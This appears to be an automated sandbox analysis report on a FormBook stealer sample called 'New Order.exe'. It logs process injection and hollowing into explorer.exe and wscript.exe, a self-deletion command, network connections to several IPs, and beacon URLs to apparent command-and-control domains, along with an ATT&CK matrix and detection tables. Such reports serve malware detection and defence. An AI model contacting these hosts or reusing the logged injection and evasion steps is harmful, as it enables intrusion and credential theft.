Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BFFF60 mov eax, dword ptr fs:[00000030h]	2_2_00BFFF60
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C1E730 mov eax, dword ptr fs:[00000030h]	2_2_00C1E730
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B73D mov eax, dword ptr fs:[00000030h]	2_2_00C0B73D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C0B73D mov eax, dword ptr fs:[00000030h]	2_2_00C0B73D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00BFEF40 mov eax, dword ptr fs:[00000030h]	2_2_00BFEF40
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05483D43 mov eax, dword ptr fs:[00000030h]	5_2_05483D43
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054C3540 mov eax, dword ptr fs:[00000030h]	5_2_054C3540
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054F3D40 mov eax, dword ptr fs:[00000030h]	5_2_054F3D40
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05467D50 mov eax, dword ptr fs:[00000030h]	5_2_05467D50
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0546C577 mov eax, dword ptr fs:[00000030h]	5_2_0546C577
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0546C577 mov eax, dword ptr fs:[00000030h]	5_2_0546C577
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05518D34 mov eax, dword ptr fs:[00000030h]	5_2_05518D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0550E539 mov eax, dword ptr fs:[00000030h]	5_2_0550E539
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05453D34 mov eax, dword ptr fs:[00000030h]	5_2_05453D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05453D34 mov eax, dword ptr fs:[00000030h]	5_2_05453D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05453D34 mov eax, dword ptr fs:[00000030h]	5_2_05453D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05453D34 mov eax, dword ptr fs:[00000030h]	5_2_05453D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05453D34 mov eax, dword ptr fs:[00000030h]	5_2_05453D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05453D34 mov eax, dword ptr fs:[00000030h]	5_2_05453D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05453D34 mov eax, dword ptr fs:[00000030h]	5_2_05453D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05453D34 mov eax, dword ptr fs:[00000030h]	5_2_05453D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05453D34 mov eax, dword ptr fs:[00000030h]	5_2_05453D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05453D34 mov eax, dword ptr fs:[00000030h]	5_2_05453D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05453D34 mov eax, dword ptr fs:[00000030h]	5_2_05453D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05453D34 mov eax, dword ptr fs:[00000030h]	5_2_05453D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05453D34 mov eax, dword ptr fs:[00000030h]	5_2_05453D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0544AD30 mov eax, dword ptr fs:[00000030h]	5_2_0544AD30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054CA537 mov eax, dword ptr fs:[00000030h]	5_2_054CA537
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05474D3B mov eax, dword ptr fs:[00000030h]	5_2_05474D3B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05474D3B mov eax, dword ptr fs:[00000030h]	5_2_05474D3B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05474D3B mov eax, dword ptr fs:[00000030h]	5_2_05474D3B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054C6DC9 mov eax, dword ptr fs:[00000030h]	5_2_054C6DC9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054C6DC9 mov eax, dword ptr fs:[00000030h]	5_2_054C6DC9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054C6DC9 mov eax, dword ptr fs:[00000030h]	5_2_054C6DC9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054C6DC9 mov ecx, dword ptr fs:[00000030h]	5_2_054C6DC9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054C6DC9 mov eax, dword ptr fs:[00000030h]	5_2_054C6DC9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054C6DC9 mov eax, dword ptr fs:[00000030h]	5_2_054C6DC9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0545D5E0 mov eax, dword ptr fs:[00000030h]	5_2_0545D5E0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0545D5E0 mov eax, dword ptr fs:[00000030h]	5_2_0545D5E0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0550FDE2 mov eax, dword ptr fs:[00000030h]	5_2_0550FDE2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0550FDE2 mov eax, dword ptr fs:[00000030h]	5_2_0550FDE2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0550FDE2 mov eax, dword ptr fs:[00000030h]	5_2_0550FDE2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0550FDE2 mov eax, dword ptr fs:[00000030h]	5_2_0550FDE2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054F8DF1 mov eax, dword ptr fs:[00000030h]	5_2_054F8DF1
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05472581 mov eax, dword ptr fs:[00000030h]	5_2_05472581
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05472581 mov eax, dword ptr fs:[00000030h]	5_2_05472581
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05472581 mov eax, dword ptr fs:[00000030h]	5_2_05472581
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05472581 mov eax, dword ptr fs:[00000030h]	5_2_05472581
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05442D8A mov eax, dword ptr fs:[00000030h]	5_2_05442D8A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05442D8A mov eax, dword ptr fs:[00000030h]	5_2_05442D8A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05442D8A mov eax, dword ptr fs:[00000030h]	5_2_05442D8A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05442D8A mov eax, dword ptr fs:[00000030h]	5_2_05442D8A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05442D8A mov eax, dword ptr fs:[00000030h]	5_2_05442D8A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547FD9B mov eax, dword ptr fs:[00000030h]	5_2_0547FD9B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547FD9B mov eax, dword ptr fs:[00000030h]	5_2_0547FD9B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054735A1 mov eax, dword ptr fs:[00000030h]	5_2_054735A1
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05471DB5 mov eax, dword ptr fs:[00000030h]	5_2_05471DB5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05471DB5 mov eax, dword ptr fs:[00000030h]	5_2_05471DB5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05471DB5 mov eax, dword ptr fs:[00000030h]	5_2_05471DB5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_055105AC mov eax, dword ptr fs:[00000030h]	5_2_055105AC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_055105AC mov eax, dword ptr fs:[00000030h]	5_2_055105AC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547A44B mov eax, dword ptr fs:[00000030h]	5_2_0547A44B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054DC450 mov eax, dword ptr fs:[00000030h]	5_2_054DC450
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054DC450 mov eax, dword ptr fs:[00000030h]	5_2_054DC450
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0546746D mov eax, dword ptr fs:[00000030h]	5_2_0546746D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547AC7B mov eax, dword ptr fs:[00000030h]	5_2_0547AC7B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547AC7B mov eax, dword ptr fs:[00000030h]	5_2_0547AC7B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547AC7B mov eax, dword ptr fs:[00000030h]	5_2_0547AC7B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547AC7B mov eax, dword ptr fs:[00000030h]	5_2_0547AC7B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547AC7B mov eax, dword ptr fs:[00000030h]	5_2_0547AC7B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547AC7B mov eax, dword ptr fs:[00000030h]	5_2_0547AC7B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547AC7B mov eax, dword ptr fs:[00000030h]	5_2_0547AC7B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547AC7B mov eax, dword ptr fs:[00000030h]	5_2_0547AC7B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547AC7B mov eax, dword ptr fs:[00000030h]	5_2_0547AC7B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547AC7B mov eax, dword ptr fs:[00000030h]	5_2_0547AC7B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547AC7B mov eax, dword ptr fs:[00000030h]	5_2_0547AC7B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054C6C0A mov eax, dword ptr fs:[00000030h]	5_2_054C6C0A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054C6C0A mov eax, dword ptr fs:[00000030h]	5_2_054C6C0A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054C6C0A mov eax, dword ptr fs:[00000030h]	5_2_054C6C0A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054C6C0A mov eax, dword ptr fs:[00000030h]	5_2_054C6C0A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05501C06 mov eax, dword ptr fs:[00000030h]	5_2_05501C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05501C06 mov eax, dword ptr fs:[00000030h]	5_2_05501C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05501C06 mov eax, dword ptr fs:[00000030h]	5_2_05501C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05501C06 mov eax, dword ptr fs:[00000030h]	5_2_05501C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05501C06 mov eax, dword ptr fs:[00000030h]	5_2_05501C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05501C06 mov eax, dword ptr fs:[00000030h]	5_2_05501C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05501C06 mov eax, dword ptr fs:[00000030h]	5_2_05501C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05501C06 mov eax, dword ptr fs:[00000030h]	5_2_05501C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05501C06 mov eax, dword ptr fs:[00000030h]	5_2_05501C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05501C06 mov eax, dword ptr fs:[00000030h]	5_2_05501C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05501C06 mov eax, dword ptr fs:[00000030h]	5_2_05501C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05501C06 mov eax, dword ptr fs:[00000030h]	5_2_05501C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05501C06 mov eax, dword ptr fs:[00000030h]	5_2_05501C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05501C06 mov eax, dword ptr fs:[00000030h]	5_2_05501C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0551740D mov eax, dword ptr fs:[00000030h]	5_2_0551740D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0551740D mov eax, dword ptr fs:[00000030h]	5_2_0551740D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0551740D mov eax, dword ptr fs:[00000030h]	5_2_0551740D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547BC2C mov eax, dword ptr fs:[00000030h]	5_2_0547BC2C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05518CD6 mov eax, dword ptr fs:[00000030h]	5_2_05518CD6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_055014FB mov eax, dword ptr fs:[00000030h]	5_2_055014FB
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054C6CF0 mov eax, dword ptr fs:[00000030h]	5_2_054C6CF0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054C6CF0 mov eax, dword ptr fs:[00000030h]	5_2_054C6CF0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054C6CF0 mov eax, dword ptr fs:[00000030h]	5_2_054C6CF0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0545849B mov eax, dword ptr fs:[00000030h]	5_2_0545849B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0545EF40 mov eax, dword ptr fs:[00000030h]	5_2_0545EF40
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0545FF60 mov eax, dword ptr fs:[00000030h]	5_2_0545FF60
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05518F6A mov eax, dword ptr fs:[00000030h]	5_2_05518F6A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547A70E mov eax, dword ptr fs:[00000030h]	5_2_0547A70E
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0547A70E mov eax, dword ptr fs:[00000030h]	5_2_0547A70E
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0546F716 mov eax, dword ptr fs:[00000030h]	5_2_0546F716
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0551070D mov eax, dword ptr fs:[00000030h]	5_2_0551070D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_0551070D mov eax, dword ptr fs:[00000030h]	5_2_0551070D

Source: C:\Users\user\Desktop\New Order.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\wscript.exe	Network Connect: 192.155.181.250 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.ayanmobile.com
Source: C:\Windows\SysWOW64\wscript.exe	Domain query: www.ty-valve.com
Source: C:\Windows\explorer.exe	Domain query: www.cuttingemporium.com
Source: C:\Windows\explorer.exe	Domain query: www.securenotifications.com
Source: C:\Windows\explorer.exe	Domain query: www.collectordrive.com
Source: C:\Windows\explorer.exe	Network Connect: 35.209.88.35 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.dietsz.com
Source: C:\Windows\explorer.exe	Domain query: www.optimismactivism.com
Source: C:\Windows\explorer.exe	Domain query: www.gangju123.com
Source: C:\Windows\explorer.exe	Network Connect: 107.161.23.204 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 208.91.197.91 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 160.153.78.1 80	Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\New Order.exe	Section loaded: unknown target: C:\Users\user\Desktop\New Order.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wscript.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wscript.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\New Order.exe	Thread register set: target process: 3424			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Thread register set: target process: 3424			Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\New Order.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\New Order.exe

Section unmapped: C:\Windows\SysWOW64\wscript.exe base address: DF0000

Jump to behavior

Source: C:\Users\user\Desktop\New Order.exe	Process created: C:\Users\user\Desktop\New Order.exe 'C:\Users\user\Desktop\New Order.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\New Order.exe'			Jump to behavior

Source: explorer.exe, 00000003.00000000.668700354.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000003.00000000.670473260.0000000001080000.00000002.00000001.sdmp, wscript.exe, 00000005.00000002.901778690.0000000003CE0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000003.00000000.670473260.0000000001080000.00000002.00000001.sdmp, wscript.exe, 00000005.00000002.901778690.0000000003CE0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000003.00000000.670473260.0000000001080000.00000002.00000001.sdmp, wscript.exe, 00000005.00000002.901778690.0000000003CE0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000003.00000000.670473260.0000000001080000.00000002.00000001.sdmp, wscript.exe, 00000005.00000002.901778690.0000000003CE0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000003.00000000.660941932.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\Desktop\New Order.exe

0_2_004030FB

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.901125001.0000000000EB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.690404186.00000000009F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.645023716.00000000022A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.690378991.00000000009C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.2.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.New Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.New Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New Order.exe.22a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New Order.exe.22a0000.2.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.901125001.0000000000EB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.690404186.00000000009F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.645023716.00000000022A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.690378991.00000000009C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.2.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.New Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.New Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New Order.exe.22a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New Order.exe.22a0000.2.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Path Interception	Process Injection512	Virtualization/Sandbox Evasion3	OS Credential Dumping	Security Software Discovery131	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Shared Modules1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection512	LSASS Memory	Virtualization/Sandbox Evasion3	Remote Desktop Protocol	Clipboard Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Deobfuscate/Decode Files or Information1	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information3	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing11	LSA Secrets	File and Directory Discovery2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery13	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
New Order.exe	37%	ReversingLabs	Win32.Spyware.Noon
New Order.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\nssD6D3.tmp\System.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\nssD6D3.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\vsfjb	2%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
2.0.New Order.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
5.2.wscript.exe.34180a8.3.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
5.2.wscript.exe.5957960.6.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.0.New Order.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
0.2.New Order.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
2.1.New Order.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
2.2.New Order.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
0.2.New Order.exe.22a0000.2.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.collectordrive.com/de52/?z6Ad_8Jp=q/8Nbvd67YPMVz3o7HcOnLFi8lrYmwA47pjKffLVRoseAGTrTNs7CZxo0gnZJZCgi/pT&Yz=0bpDyT	0%	Avira URL Cloud	safe
www.achainz.com/de52/	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.cuttingemporium.com/de52/?z6Ad_8Jp=A6XO+ITKnQQbOEvUMrF2CVYLPv45kLd/uv2YdfW9vEZfPW6611dfa85KEkC5Wqh6gBNa&Yz=0bpDyT	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.occasionalassistant.com/de52/?z6Ad_8Jp=qb+cDyZ+/Kn0EiG8qAwackOr+Z8XD7HPsMVV4+H0Ra088mc2au++kj7rvX/qHs87RHMJ&Yz=0bpDyT	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.securenotifications.com/de52/?z6Ad_8Jp=/MwPCQmb8N4Awmw4mMKJPRGOCBQ0FmS8LiYPDqoyki9FgjxxSyxFyKWOR1kxSGqMaJan&Yz=0bpDyT	0%	Avira URL Cloud	safe
http://www.gangju123.com/de52/?z6Ad_8Jp=KfmGdnK98UrOdo4kMnFtb2+M9fToEn1F+Gzo6oV5pCedLQ1HneT9cj2ied9UzRR+PF6A&Yz=0bpDyT	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.ayanmobile.com/de52/?z6Ad_8Jp=VjXAIgKfhvF8hRWD/e05oFFe9piey6xRf/uiJW4aXhiEfFySQTYX7BGVKv+i/OP+5wGQ&Yz=0bpDyT	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.optimismactivism.com/de52/?z6Ad_8Jp=LwTVedL55OWwkv7g5+M8qNIWWWhwOSQTlz2nKf3SzAUgx635MxYM24Oa4PrOeZWczuGU&Yz=0bpDyT	0%	Avira URL Cloud	safe
